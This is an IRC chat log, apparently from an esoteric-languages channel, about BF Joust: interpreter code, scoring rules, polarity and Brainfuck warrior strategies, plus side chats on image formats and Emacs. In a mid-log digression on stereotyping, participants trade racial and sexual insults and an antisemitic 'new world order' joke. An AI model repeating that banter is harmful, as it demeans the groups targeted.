bikesheds hooray 20:22:06 nah, dink/donk is shorter 20:22:10 very true 20:22:24 ais523: > is march, < is retreat 20:22:37 heh, that sounds about right 20:23:24 . is rest 20:23:35 hmm 20:23:41 ais523: [ = consider, ] = reconsider? :P 20:23:47 just trying to go for an intercal vibe :) 20:23:59 that's quite a vibe 20:24:18 hmm 20:24:45 ais523: it doesn't really reflect the jumpyness of it, though, does it? 20:25:21 does it need to? 20:25:31 not particularly 20:25:35 i'm trying to come up with a military analogist 20:25:38 *analogy 20:25:48 ] = ONE_AND_A_TWO_AND_A is a bit too long. 20:28:51 ais523: advantage of linked list— easier to mark end of program 20:28:54 wait, no 20:29:07 just {a,b,c,NULL} 20:29:12 or the like 20:29:25 OP_EOF 20:31:26 ais523: Polarities: sieve, kettle. 20:33:49 fair enough 20:34:15 -!- Gracenotes has joined. 20:34:49 ehird, i was just thinking that if you do the swapping thing, 20:34:55 that's 4 * 20 fights per pair 20:34:58 if you do every combination 20:35:03 nescience: nope 20:35:03 2 20:35:04 ... but, effectively, you only need to do 2 20:35:08 'cause the others would be equivalent 20:35:13 nescience: ais523 told me this ages ago :) 20:35:14 ... yeah, so i guess you already did that :> 20:35:16 i had none, left, both 20:35:17 hehe 20:35:20 er 20:35:21 none, left, right 20:35:24 but ais523 told me left=right 20:35:26 i'm not reading, just occurred to me to mention it 20:35:26 so, yeah 20:36:36 -!- olsner has joined. 20:37:49 (i guess it's actually *21) 20:37:54 -!- MizardX has quit ("Dead pixels in the sky."). 20:37:55 yep 20:37:59 anyway, this is technically my work computer so i'm sporadic :P 20:38:09 you should get super tricky and run all of them in parallel! 20:38:10 hehe 20:38:14 lawl 20:38:30 nescience: iirc, codu only has one virtual cpu 20:38:39 so that wouldn't help too much 20:38:43 locally, though... 20:40:23 "In January 2003, the toothbrush was selected as the number one invention Americans could not live without, beating out the automobile, computer, cell phone, and microwave oven, according to the Lemelson-MIT Invention Index.[4]" 20:41:24 ais523: grr, variadic macros are C99 aren't they? 20:41:30 and gnuc89 20:42:00 yes 20:42:03 darn 20:42:08 although, you can often have the same effect by using a second pair of parens 20:42:10 even in C89 20:42:13 yes 20:42:18 because (a,b) is one param to a macro 20:42:21 ehird: This is the USA, not Britain. 20:42:43 GregorR-L: in britain we never use toothbrushes 20:42:50 as evidenced by our TERRIBLE BRITISH ORAL HYGIENE 20:42:51 HA HA HA 20:43:22 I used to believe that was just a stereotype, until I went there on vacation :P 20:43:44 i am constantly amazed that people actually go here voluntarily 20:43:49 it's... not an exciting country 20:43:53 stereotypes are usually based in fact 20:43:59 i found the same thing about canadians and "eh" 20:44:25 nescience: correct, you blond black homosexual. quick, be blackface, dumb and feminine! 20:44:51 if you think about it though, stereotyping is a pretty critical function of the human brain 20:45:09 yes 20:45:09 imagine if you tried to be politically correct and assume that no ALL bears will maul you if you punch them in the face 20:45:10 :P 20:45:10 More accurately, categorization is critical, stereotyping is the unfortunate result of categorization. 20:45:21 i'm pretty sure political correctness only applies to humans 20:45:27 ehird: Not true. 20:45:33 o rly 20:45:52 Be kind to animal rights activists, they're people too! (And therefore other animals are people by proxy) 20:46:24 GregorR-L: It was fine until the parenthical, which is bullshit. 20:46:32 :P 20:48:06 ais523: nescience: Hokey dokey, interpreter loop time. 20:48:37 warrior_id_t run_match(ins_t *a, ins_t *b, polarity_t polarity, int tape_length). Maybe I need 7 more parameters. 20:49:04 ais523: (a,b)=(b,a) matchup in your interp, right? 20:49:26 ehird: yes 20:49:31 right. 20:49:34 and a program against itself always draws 20:49:59 ais523: draws have no effect on anything, right? 20:50:08 apart from draw count... 20:50:13 I don't know how that scoring system works 20:50:16 ais523: do you special-case that, btw? it seems like it may be quicker just to run it against itself 20:50:17 I wrote the interp, not the scorer 20:50:30 you'll need to ask GregorR about tournament infrastructure 20:50:58 ↑ 20:51:43 ais523: pingeriffic 20:52:14 ehird: as I said, I don't know 20:52:19 -!- tombom_ has joined. 20:52:21 20:50 ehird: ais523: do you special-case that, btw? it seems like it may be quicker just to run it against itself 20:52:26 ais523: that's part of your interp is it not? 20:52:28 or? 20:52:38 I don't check for both programs being identical 20:52:41 ah 20:52:42 OK 20:52:44 I thought you meant, checking for the same filename 20:52:47 -!- MizardX has joined. 20:52:54 I don't think GregorR's tournament driver pits programs against themselves, since they get spaces 20:52:58 instead of 0s (= draw) 20:53:29 Yeah 20:54:16 http://codu.org/eso/fyb/SCORES <-- score system 20:58:11 -!- tombom has quit (Read error: 60 (Operation timed out)). 20:58:12 -!- tombom_ has changed nick to tombom. 20:59:08 GregorR-L: well, if you categorized but didn't act on it, it'd be afwul useless, wouldn't it? :P 21:01:33 nescience: Categorizing is dividing people into groups, stereotyping is taking properties of some part of the group and blindly applying them to the entire group. Saying "All black people have dark skin" is categorization, since that's the definition of the category, saying "All black people steal cars" is stereotyping. 21:04:51 Stereotyping is prescribing to a group a property that is not inherent to it. 21:05:03 "All black people have dark skin" → having dark skin is inherent in being black 21:05:18 "All people who steal cars steal vehicles" → again, inherent 21:05:23 "All black people steal cars" → not 21:05:50 I believe that's what I just said. 21:06:08 GregorR-L: "stereotyping is taking properties of some part of the group and blindly applying them to the entire group" 21:06:11 not the same definition 21:06:17 mine is more rigorous and precise 21:06:58 I guess stereotyping can be based on properties that apply to nobody, like "All black people have antennae" or "All Jewish people came from the Mother Ship" 21:07:12 :-D 21:07:30 GregorR-L: "All Jewish people control the banks and are part of the New World Order" would be more of a real-world example 21:07:52 The first part is an example of my definition :P 21:08:48 Yes. 21:08:50 So's mine 21:08:57 [[Fabian Escalante, who was long tasked with protecting the life of Castro, estimated the number of assassination schemes or attempts by the CIA to be 638. Some such attempts allegedly included an exploding cigar, a fungal-infected scuba-diving suit, and a mafia-style shooting.]] 21:09:45 stereotypes that are nonsensical, unless they are a joke i guess, are not going to arise 21:10:20 it's more like applying an observed link to the whole 21:10:30 but it's considered "rude" if the observed link is negative :P 21:10:41 nescience: feel free to observe a Jew new world ordering 21:10:46 i'll wait here 21:11:28 lol. 21:11:39 i have observed no links between jews and conspiracy theories, sadly :P 21:11:53 you're not likely to catch hell if you say something like "damn, latinas are sexy!" 21:11:56 but it's equally a stereotype 21:11:57 * nescience shrugs 21:12:16 ais523: how many nested loops does defend5 have again? 21:12:38 I think it's a bit over 2000 21:12:43 "as a female member of latin descent, i am offended by your assertion that i must be sexy! take that back right now!" :> 21:14:34 sometimes I fly around in a spaceship... 21:14:36 anyway uhh, back to brainfuck? :P 21:14:43 ais523: :> 21:14:53 ROCKET OR SMILEY YOU THE PUBLIC DECIDE 21:17:07 aaaaaaaargh 21:17:19 my c function needs to return a tuple, now i have to pass a pointer 21:17:20 phooey :) 21:19:49 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 21:22:07 ais523: why are syntactically invalid programs admitted, btw 21:22:07 ? 21:22:10 I'd just drop them, 21:22:14 s/,$// 21:22:31 ehird: I exit with an error message, I think 21:22:37 but the tournament infrastructure doesn't notice 21:22:43 ais523: well, ] treats it all as draws 21:22:49 yes 21:22:55 it's interpreting the error as a draw 21:22:59 ah 21:23:28 you know you need to restructure when [[fprintf(stderr, "Unmatched ] in %s.\n", filename);]] ends up at column 91 21:29:39 re: the scoring system 21:29:56 you use the points for a program in calculating the points for a program 21:30:03 how exactly does that work? 21:30:11 nescience: points for score, no? 21:30:17 or score for score 21:30:27 The base score of any given program is the sum of: 21:30:29 * The values for the programs which it defeated as defined above. 21:30:32 * Half the values for the programs that it tied with as defined above. 21:30:46 which means, the first time you submit the program, it gets a better score than afterwards 21:30:59 nescience: it removes the program you submitted before running 21:31:00 I'm pretty sure 21:31:01 since afterwards, whatever programs it defeated are going to have less score 21:31:21 but it doesn't recalculate scores for everything on the hill? 21:31:27 or rather, i thought that's what the cache thing was about 21:31:33 It caches wins, not scores. 21:31:38 It always recalculates the scores. 21:31:40 i see 21:31:46 but then... 21:31:54 how do you calculate how many points ANY warrior has 21:31:58 even if you remove the new entrant 21:32:13 each time you recalculate the score of a given pre-existing warrior, its score is still dependent..? 21:32:28 Run it against every program currently on the hill, using the cache instead when available. 21:32:34 I have an issue 21:32:40 AnMaster: what with? 21:32:43 The score will change with every run, as it is hill-dependent. 21:32:44 sure, that gives you wins/losses 21:32:46 a good image format 21:32:48 for something 21:32:50 to be specific 21:32:51 AnMaster: png 21:32:55 but points is based on the points of the other programs 21:33:04 ehird: you don't know what sort of image it is 21:33:08 arguably, iso might be better 21:33:09 Score is based on points of the other programs. 21:33:10 i don't see how you can have them all in synch without some complicated math ala pagerank :P 21:33:11 ais523: heh. 21:33:12 scanned diagram. Must not be lossy. 21:33:14 but seriously. 21:33:18 In png the file is 70 MB 21:33:19 AnMaster: absolutely PNG 21:33:23 it's great for geometric shapes 21:33:24 ahh 21:33:27 there is a non-lossy format for scanned diagrams 21:33:28 Points is wins minus losses, score is based on that. 21:33:29 AnMaster: 70MB? there's nothing you can do 21:33:29 which is larger than the xcf at 65 MB 21:33:31 ... 21:33:32 it's gonna be gigantic anyway 21:33:33 the text ony said "value" 21:33:36 AnMaster: look at Wikimedia Commons for similar files 21:33:37 ... 5MB makes a difference to you? 21:33:38 and see what it uses 21:33:40 i thought it was referring to teh value of those programs' scores 21:33:46 AnMaster: just go w/ PNG 21:33:53 nescience: Nono, that's their value as in how much they're worth. 21:33:54 ehird, that isn't as good for scans 21:33:54 it's simple and near the best you'll prolly get 21:34:01 AnMaster: how large is it after running it through pngcrush? 21:34:02 ehird, also it is 1200 dpi, full A4 21:34:05 based on the number of wins they have 21:34:08 AnMaster: 5MB is insignificant at 65-70MB size. 21:34:11 nescience: Yeah 21:34:14 just use png 21:34:17 well at least that can synch up, i see 21:34:21 nescience: I didn't want to make a recursive algorithm :P 21:34:26 ais523, that was *after* pngcrush, optipng and advpng 21:34:28 seems like it's partly responsible for some of the noise on the hill too :P 21:34:31 before it was well over 80 MB 21:34:48 if you only beat two programs, but those programs beat everything else... should your score be that high i wonder? 21:34:54 oh well, it's there for the exploitation! 21:35:03 AnMaster: So, you can store 65MB, but not 20MB more? 21:35:08 I seeeee. 21:35:14 ehird, wrong 21:35:19 I think 65 is too much too for this 21:35:22 nescience: I decree that it should be fairly high, but not as high as the program that beat all the others :P 21:35:31 AnMaster: Tough 21:35:36 1200dpi + A4 size = big. 21:35:40 since I need to upload it. 21:35:44 ehird, yes I know 21:35:53 AnMaster: er, how small is your upstream 21:36:01 ehird, 1 mbit 21:36:06 fast enough 21:36:14 ehird, on the paper 21:36:17 in practice? 21:36:24 ~600 kbps 21:36:30 ehm 21:36:34 AnMaster: 600 kbps ~= 1mbit 21:36:37 KB!=Kbit 21:36:45 Kilonibble 21:36:49 that was kbit 21:36:49 ... 21:36:51 AnMaster: oh. 21:36:54 600 kbit/sec 21:36:57 AnMaster: so, um 21:36:59 http://www.google.com/search?hl=en&safe=off&client=safari&rls=en-us&q=70+megabytes+%2F+600+kilobits+per+second&btnG=Search&aq=f&oq=&aqi= 21:37:02 AnMaster: 16 minutes? 21:37:10 You're fussing over 16 minutes for uploading a PNG? 21:37:14 ehird, something like that yeah. 21:37:17 Nothing better to do I see. 21:37:19 ehird, 5 png 21:37:21 all like this 21:37:30 so 16 * 5 21:37:39 AnMaster: So, you have 80 minutes to spend on finding an obscure format that saves 10-20MB, but you can't spend those 80 minutes uploading. 21:37:43 Bit ridiculous, that 21:37:52 GregorR-L: i agree. i guess there's enough wins to go around 21:37:55 ehird, wrong. I was just hoping someone here knew something good 21:37:57 ehird: it depends on how many of these images AnMaster needs to upload 21:38:07 ais523, as I said above. 5. At the moment 21:38:08 ais523: he said 5 21:38:10 Instead, let's waste 90 minutes arguing about whether obscure formats are worthwhile :P 21:38:11 might be more in the future 21:38:11 = 80 minutes in total 21:38:12 but with some tricksiness it might be possible to submit some warriors to act as stepping stones on each other 21:38:15 but not today 21:38:15 using 70MB PNGs 21:38:23 seems to me like the hill score should be based on a 0 sum approach somehow 21:38:25 @ 16 minutes / file 21:38:27 which is just fine 21:38:30 nescience: we were talking about doing that while the hill was upside-down 21:38:35 nescience: gimme an algorithm and it goes into my impl :) 21:38:38 in order to try to get good programs there 21:38:40 nescience: Mebbe, feel free to give me a new algo :P 21:40:09 ehird, ~75 kbyte/sec up would be 600 kbit/sec as far as I can tell. 21:40:22 AnMaster: you said you usually got 600 kbit/up 21:40:23 per sec 21:40:26 i calculated based on that 21:40:29 = 16 minutes / file 21:40:34 = 80 minutes total for 5 files 21:40:35 i can't quite wrap my head around what's going on with the current score 21:40:36 which isn't a problem 21:40:54 as far as how things affect each other i mean 21:40:57 so maybe it already is 21:41:00 ehird, and it might be more in the future. Just 5 today. Probably 20 more next week 21:41:15 AnMaster: 5 hours 21:41:17 one off 21:41:20 is this seriously a problem? 21:41:22 5.3333(...) 21:41:37 ehird, probably not a one-off! 21:41:50 AnMaster: so first it was 5. then 20. now it's 498357348957893457894353495? 21:41:55 what's the problem with basing it on most wins, for example? 21:42:12 i assume there's some behavior you want from giving more points for defeating "better" warriors 21:42:14 nescience: because then you can target bad programs 21:42:19 and lose against good ones 21:42:21 and rise to the top 21:42:22 which sucks 21:42:28 but 21:42:31 with the 11-length hill... 21:42:32 except, there won't be many bad programs on the hill after a while 21:42:35 so can everyone else(?) 21:42:40 all the ones there are pretty good, I imagine 21:42:48 exactly 21:42:49 I'll resubmit attack1, and I bet it'll do terribly 21:42:52 despite not being all that bad 21:43:02 !bfjoust attack1 [>[-]+] 21:43:08 Score for ais523_attack1: 13.5 21:43:08 :-D 21:43:15 not bad 21:43:18 531.50-2impomatic_mirage.bfjoust 21:43:19 113.50-8ais523_attack1.bfjoust 21:43:20 being the "best" in this setup no longer means having the best record/defeating the most enemies 21:43:24 lowest pts apart from it is 21:43:26 948.50-4nescience_creep.bfjoust 21:43:28 yep, lost to everything but creep 21:43:34 lol :> 21:43:40 still, not that terrible 21:43:45 and the setup here is such that i don't think it's really much different to target "better" programs than it is to target "worse" programs 21:43:46 !bfjoust attack_experimental >>>>>>>>>[>[-]+] 21:43:46 we've had 0.0 - 8.0 21:43:55 since there's not really much you can do to target any particular program 21:43:57 Score for ais523_attack_experimental: 15.5 21:43:57 Attaxperimental 21:44:00 except something like defend6, for example 21:44:02 very slightly better... 21:44:11 1 | - 0 0 - - - - - - + | 15.5| -6| ais523_attack_experimental.bfjoust 21:44:17 ais523: two draws and one win isn't too bad 21:44:31 how did that draw with defend6, I wonder? 21:44:52 !bfjoust revelation_fell_short (>)*9[[-]>+] 21:45:01 the - loop 21:45:02 Score for ehird_revelation_fell_short: 6.5 21:45:04 wait, nevermind 21:45:08 !bfjoust revelation_fell_short (>)*9[[+]>-] 21:45:08 it only incs 128 times 21:45:10 Score for ehird_revelation_fell_short: 6.5 21:45:19 AnMaster: so first it was 5. then 20. now it's 498357348957893457894353495? <-- stop being silly 21:45:20 ais523: see, I can do worse! 21:45:36 ehird: an idea regarding the polarity flip: 21:45:39 just it is 5 today. And "the customer might want more next week ;)" 21:45:45 what about taking either the best or the worst score for the attacker? 21:46:00 nescience: I think averaging all the combinations is petter 21:46:08 well, the average of a win and a loss is a tie 21:46:09 ah, I see 21:46:16 attack_experimental never goes into the [] loop 21:46:20 nor does revelation_fell_short 21:46:24 unless the tape length is exactly 10 21:46:36 but if polarity comes into play, either you will take advantage of it or not take advantage of it 21:46:36 !bfjoust attack_experimental >>>>>>>>>+[>[-]+] 21:46:38 Score for ais523_attack_experimental: 15.5 21:46:42 doing both and averaging is kina mediocre i guess 21:46:44 i dunno, just a thought 21:46:58 polarity? 21:47:03 reverse it! 21:47:59 and now it loses to defend6, as it ought to 21:47:59 well that's what i'm getting at 21:48:10 you can discourage taking advantage of polarity (and thus writing more generalized solutions) 21:48:15 by taking the worst score of the two 21:48:15 nescience: hmm 21:48:26 or you can promote taking advantage of it by doing the opposite 21:51:29 -!- BeholdMyGlory has quit (anthony.freenode.net irc.freenode.net). 21:51:30 -!- tombom has quit (anthony.freenode.net irc.freenode.net). 21:51:30 -!- ais523 has quit (anthony.freenode.net irc.freenode.net). 21:51:30 -!- Sgeo has quit (anthony.freenode.net irc.freenode.net). 21:51:30 -!- kerlo has quit (anthony.freenode.net irc.freenode.net). 21:51:31 -!- ineiros has quit (anthony.freenode.net irc.freenode.net). 21:51:31 -!- Slereah has quit (anthony.freenode.net irc.freenode.net). 21:51:33 -!- Asztal has quit (anthony.freenode.net irc.freenode.net). 21:51:33 -!- ehird has quit (anthony.freenode.net irc.freenode.net). 21:51:33 -!- rodgort has quit (anthony.freenode.net irc.freenode.net). 21:51:33 -!- Gracenotes has quit (anthony.freenode.net irc.freenode.net). 21:51:33 -!- GregorR has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- lifthrasiir has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- FireFly has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- fungebob has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- fungot has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- MizardX has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- Deewiant has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- fizzie has quit (anthony.freenode.net irc.freenode.net). 21:51:34 -!- jix has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- nescience has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- Ilari has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- pikhq has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- comex has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- Leonidas has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- sebbu2 has quit (anthony.freenode.net irc.freenode.net). 21:51:35 -!- AnMaster has quit (anthony.freenode.net irc.freenode.net). 21:51:36 -!- Corun has quit (anthony.freenode.net irc.freenode.net). 21:51:36 -!- Dewi has quit (anthony.freenode.net irc.freenode.net). 21:51:37 -!- olsner has quit (anthony.freenode.net irc.freenode.net). 21:51:37 -!- bsmntbombdood has quit (anthony.freenode.net irc.freenode.net). 21:51:38 -!- EgoBot has quit (anthony.freenode.net irc.freenode.net). 21:51:39 -!- inurinternet has quit (anthony.freenode.net irc.freenode.net). 21:51:39 -!- KingOfKarlsruhe has quit (anthony.freenode.net irc.freenode.net). 21:51:39 -!- ski__ has quit (anthony.freenode.net irc.freenode.net). 21:51:39 -!- dbc has quit (anthony.freenode.net irc.freenode.net). 21:51:40 -!- GregorR-L has quit (anthony.freenode.net irc.freenode.net). 21:51:40 -!- mtve has quit (anthony.freenode.net irc.freenode.net). 21:52:14 -!- impomatic has joined. 21:52:14 -!- MizardX has joined. 21:52:14 -!- tombom has joined. 21:52:14 -!- olsner has joined. 21:52:14 -!- Gracenotes has joined. 21:52:14 -!- ais523 has joined. 21:52:14 -!- sebbu2 has joined. 21:52:14 -!- KingOfKarlsruhe has joined. 21:52:14 -!- AnMaster has joined. 21:52:14 -!- jix has joined. 21:52:14 -!- FireFly has joined. 21:52:14 -!- fungebob has joined. 21:52:14 -!- BeholdMyGlory has joined. 21:52:14 -!- inurinternet has joined. 21:52:14 -!- Corun has joined. 21:52:14 -!- Sgeo has joined. 21:52:14 -!- GregorR-L has joined. 21:52:14 -!- GregorR has joined. 21:52:14 -!- nescience has joined. 21:52:14 -!- bsmntbombdood has joined. 21:52:14 -!- Slereah has joined. 21:52:14 -!- pikhq has joined. 21:52:14 -!- ehird has joined. 21:52:14 -!- Dewi has joined. 21:52:14 -!- comex has joined. 21:52:14 -!- lifthrasiir has joined. 21:52:14 -!- kerlo has joined. 21:52:14 -!- Deewiant has joined. 21:52:14 -!- Ilari has joined. 21:52:14 -!- ineiros has joined. 21:52:14 -!- fungot has joined. 21:52:14 -!- fizzie has joined. 21:52:14 -!- Leonidas has joined. 21:52:14 -!- Asztal has joined. 21:52:14 -!- rodgort has joined. 21:52:14 -!- EgoBot has joined. 21:52:14 -!- dbc has joined. 21:52:14 -!- mtve has joined. 21:52:14 -!- ski__ has joined. 21:52:44 you can do a[bd]cd 21:52:44 Can I nest () inside {}? 21:52:44 AnMaster: If polarity is sieve, + (dink) increments and - (donk) decrements for both warriors. If polarity is kettle, the same applies for one warrior, but the other warrior has the operations reversed - dink (+) decrements and donk (-) increments. 21:52:44 impomatic: I think so 21:52:44 AnMaster: what we're talking about with "polarity" .. 21:52:44 it's meant to work, I'm not sure if it does though 21:52:44 er, yeah. 21:52:44 because I've never tested 21:52:45 AnMaster: This stops people just copying a program and swapping + and - to get an advantage over [-] or [+], etc. but still makes you take into account the other program doing either and both. 21:52:45 err 21:52:50 ehird, are these terms from intercal? 21:52:52 ;P 21:52:55 AnMaster: No, I made them up. 21:52:57 ehird: defend6 is robust against swapping + and -, by the way 21:52:59 (dink and donk and so on) 21:52:59 ais523: yep 21:53:00 ais523: only if d is 0 21:53:16 nescience: no, I mean d never finishes 21:53:18 ais523: but my parody changes its +s or -s (I forget which) to the other, and beat it for a long time 21:53:19 it's the rest of the program 21:53:19 by about 10 score 21:53:21 and c executes regardless, not just "else" 21:53:26 ah 21:53:28 372.005ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust 21:53:28 263.004ais523_defend6.bfjoust 21:53:29 still does 21:53:31 aha 21:53:41 ehird: interesting, that shouldn't make a difference 21:53:46 ais523: with my new system, swapping + and - has no effect 21:53:53 unless it interacts differently with one of impomatic's anti-defend6 programs 21:53:55 ais523: and possibly it's just luck of the draw; it loses some other times 21:53:57 ais523: it does, because it depends on the other programs on the hill 21:53:58 also, yes 21:53:59 I think 21:54:00 right 21:54:15 if you just have a simple [+] loop it will behave one way, and a [-] loop differently 21:54:26 when i wrote creep it was 2nd for a while 21:54:27 how does defend6 work? 21:54:29 beat defend6 every time 21:54:43 but that was because it loope dso as to wait 256 instructions when it hit your tripwire 21:54:45 AnMaster: it tries to trap the opponent in a [+] or [-] loop over its flag 21:54:45 AnMaster: it traps a [-] or a [+] 21:54:52 AnMaster: it waits until it's 0, then increments/decrements it 21:54:55 so that the loop runs once again 21:54:55 ehird reversed the "polarity" and i couldn't do that both ways 21:54:56 iirc 21:55:01 ehird, interesting 21:55:01 so it required other strategies to beat them both 21:55:08 which i pulled off, but were less successful against the rest of the hill 21:55:08 nescience: heh, that trick; it's what fool1 used, too 21:55:17 on the other hand, that's an insanely bad strategy against an attack program 21:55:18 AnMaster: so basically, if you try and just [-] or [+] out the opponents' flag, it infinite loops you then goes and rips off your flag 21:55:30 ais523: what does fool do? 21:55:33 that's why I think BF Joust is stone/paper/scissors in defence/fool/attack strategies 21:55:34 thus my comment that the reason your defend is on top currently is because beating it doesn't give much score so nobody's doin it :P 21:55:35 ehird, hm ok... 21:55:44 ehird: walks very slowly along the tape, trying to trick defensive programs into suiciding 21:55:48 by changing their flag very slowly 21:55:50 ais523: heh 21:55:57 ais523: defense1 just puts up fakes, right? 21:56:14 ehird: no, defense1 is a specific anti-attack1 program 21:56:17 ah 21:56:21 so no fakers in the base? 21:56:31 it lets its flag go to 0 for one cycle 21:56:34 then increases it again 21:56:40 and lets the opponent fall off the end 21:56:40 it'd be a very distorted rock/paper/scissors 21:56:52 defend5 works like that, but for a choice of opposing strategies 21:57:00 programs like defend only work in a niche, right now you've got that niche :P 21:57:06 Unmatched ] in butt. 21:57:08 harumph 21:57:14 but impomatic proved with shortsword that a program incapable of falling off the end is not hard to write 21:57:23 :-) 21:57:28 so defend6 has to be a little more active in its defensive play 21:58:07 it can still win defend1-style, but against shortsword and similar programs to it it locks them in place while grabbing the enemy flag a bit at a time 21:58:16 ais523, btw... that -*- mode string in gcc-bf output 21:58:21 how do you highlight bf 21:58:25 esolangs.el 21:58:26 his thingy 21:58:32 yep, I have emacs modes for esolangs 21:58:36 which I've pasted in the past 21:58:40 ais523, I can't think of a useful way to highlight bf 21:58:43 hmm I wonder why it thinks I have an unmatched butt 21:58:46 AnMaster: you can highlight comments 21:58:51 and stray BF chars inside comments 21:58:52 also, constants 21:58:57 like [-]+++++++ 21:59:07 and I colour <> differently to +- differently to [] differently to ,. 21:59:11 to make the program a bit faster to read 21:59:14 ais523 what about [-]>++<++++++++ ? 21:59:27 AnMaster: [-] is a constant 0 21:59:39 the +++++++ at the end is highlighted as addition, though 21:59:46 it's a syntax highlighter, not an optimising interpreter 21:59:49 fair enough 21:59:56 ais523, where can I find this thing 22:00:02 and does it highlight b98 too? 22:00:04 AnMaster: pastebin in logs 22:00:06 and no, it doesn't 22:00:13 Befunge is a real pain to syntax-highlight 22:00:17 ais523, which languages then apart from bf 22:00:30 Thutu, and Unlambda 22:00:56 ais523, you could highlight it mostly based on which character it is. You could handle string mode easily enough for the cardinal directions 22:01:00 it also compiles Relambda to Unlambda, a bit buggily 22:01:16 AnMaster: can you tell whether an individual Befunge command is part of a string or not? 22:01:18 it might be both 22:01:19 hmm it's parsing really weird 22:01:26 ais523, indeed it might 22:01:43 ais523: Thue too 22:01:45 ais523, and you could partially by tracing program and using that info? 22:01:46 no? 22:01:54 ehird: stub code for that, but IIRC I didn't finish it 22:01:55 AnMaster: it can be used as both, always 22:01:56 so... 22:02:02 ais523: i've used it, I'm sure 22:02:04 ehird, yes of course 22:02:05 AnMaster: I'm beginning to worry that you don't understand the concept of syntax highlighting 22:02:21 ais523, it wouldn't be CLASSICAL syntax highlighting 22:02:22 syntax highlighting != flymake 22:02:33 ais523, "flymake"? 22:02:35 ... 22:02:37 how can you use emacs 22:02:39 and not know what flymake is? 22:02:49 ehird: admittedly, I don't /use/ flymake, but I know what it is 22:03:14 "flymake not found in emacs info pages"? 22:03:23 or rather "no flymake in index" 22:03:36 Info-index: No `flymake' in index <-- there. See it ehird? 22:03:49 .. 22:04:03 This is an excellent time to brb, as my stupidity-thermometer was about to blow. 22:04:03 → 22:04:04 ehird: defend is a good example of why giving the *better* score might be advantageous 22:04:10 (specifically, the difficulty of overcoming the tripwire strategy and still being viable in other contexts) 22:04:32 not really too solidly sure on that one though 22:04:45 I fail to see what ehird meant with that 22:05:01 Anyway if emacs docs doesn't list it. it probably isn't there in my emacs version... 22:05:11 maybe it is gnu emacs specific? 22:05:19 * AnMaster is currently using µemacs 22:05:27 ais523, so tell me what flymake is 22:05:48 AnMaster: it repeatedly runs make in the background 22:05:52 so you get error messages on the fly 22:06:08 interesting 22:07:34 but not very useful. Since it would generate error messages a lot when editing. For example something like typing "if (foo) bar();" (without quotes!) isn't valid at all until completely typed in C at least. 22:07:46 is that one make for each key-press? 22:07:52 it would be rather slow if so 22:08:01 I think these problems have been thought about 22:08:03 but I don't use it 22:08:11 I wouldn't use it either. 22:10:48 ais523, the wiki page mentions that "Note that the commands are specified slightly more precisely than in standard Brainfuck; in particular, the timing surrounding [ and ] is relevant in BF Joust." but doesn't actually describe this timing... 22:11:11 AnMaster: yes it does 22:11:27 they both take one tick, and use the value at the start of the cycle, and jump to the command after the matching pair 22:11:45 hm... 22:12:16 why this interest in joust btw... 22:12:26 also what does the word "joust" mean 22:12:31 if anything 22:13:08 AnMaster: it's a sport that hasn't been seriously played for several thousand years 22:13:23 it involves two people on horseback riding at each other with lances 22:13:26 ah 22:13:29 ehird: did you see my comment about timing in the wiki talk page? 22:13:29 and trying to hit each other's shields 22:13:30 turnering in Swedish 22:13:36 what do you think about that for your interpreter? 22:14:29 ais523, several thousands isn't right. More like several hundred. 22:17:05 ah, yes 22:17:09 Hell, jousting only began in the second millennium CE :-P 22:18:32 ehird: have you seen the trailer for Enigma, btw? 22:18:36 it's so bad it's hilarious 22:18:59 why does a certain level of jpeg compression make an image look (badly) photoshopped? Hm... I mean photoshopped as in "made by combining two images" 22:19:29 like this one: http://en.wikipedia.org/wiki/File:Joust1c.jpeg 22:20:11 -!- cowb0y has joined. 22:20:26 http://retrocode.blogspot.com/2009/05/bf-joust-king-of-hill.html <-- was it someone in here who wrote that? 22:21:07 -!- cowb0y has left (?). 22:21:35 * impomatic owns up 22:21:42 ah... 22:22:06 that explains why the blog seems to focused on war programs... 22:22:23 :-) 22:22:33 * AnMaster wonders if you could make a successful pacifist program in joust 22:22:40 "pacifist"? 22:22:50 ais523, misspelled? 22:22:56 no 22:23:01 I just don't know what it would mean in this context 22:23:07 ais523, nor do I! 22:23:11 Makes the other program kill itself? 22:23:13 but it sounds interesting. 22:23:19 Deewiant, maybe 22:23:22 Deewiant: like defence1? 22:23:37 Possiblyy what's defence1 22:23:38 demonstrations against war should be involved 22:23:40 s/yy/y;/ 22:24:12 Corewars - UN Edition 22:24:14 :D 22:24:57 -!- sebbu has joined. 22:25:23 -!- BeholdMyGlory has quit (Remote closed the connection). 22:25:39 -!- jix has quit ("leaving"). 22:25:52 Deewiant: it defends its flag, trying to get the opponent to fall off the end 22:26:20 Sounds as close to pacifist as you can get 22:27:55 Is there some kind of time limit? 22:28:40 yes 22:28:45 and after that, it's a draw 22:29:19 Okay, so then you could make even more of a pacifist 22:30:47 !bfjoust farmer1 [>+*128>+*128<[-]>[-]<<] 22:30:49 Score for Deewiant_farmer1: 0.0 22:30:50 Or something 22:31:18 Hmm, did I mess that up, seems like it should tie against the defence-types 22:31:31 Or do they advance steadily as well 22:32:06 Deewiant: defend6 doesn't 22:32:12 advance, that is 22:32:16 I mean, it starts >+[] 22:32:25 ah, your syntax is wrong 22:32:28 it's (+)*128 22:32:30 not +*128 22:32:40 What did that do, then 22:32:46 Just comments? 22:32:50 I'm not sure 22:32:53 probably it broke the interp 22:32:53 !bfjoust farmer1 [>(+)*128>(+)*128<[-]>[-]<<] 22:32:55 Score for Deewiant_farmer1: 0.0 22:32:55 which would explain the low score 22:32:55 Heh 22:33:03 Well, no difference 22:33:07 Deewiant: off the left end 22:33:10 after one iteration 22:33:11 wait, no 22:33:14 I miscounted the > and < 22:33:16 Shouldn't 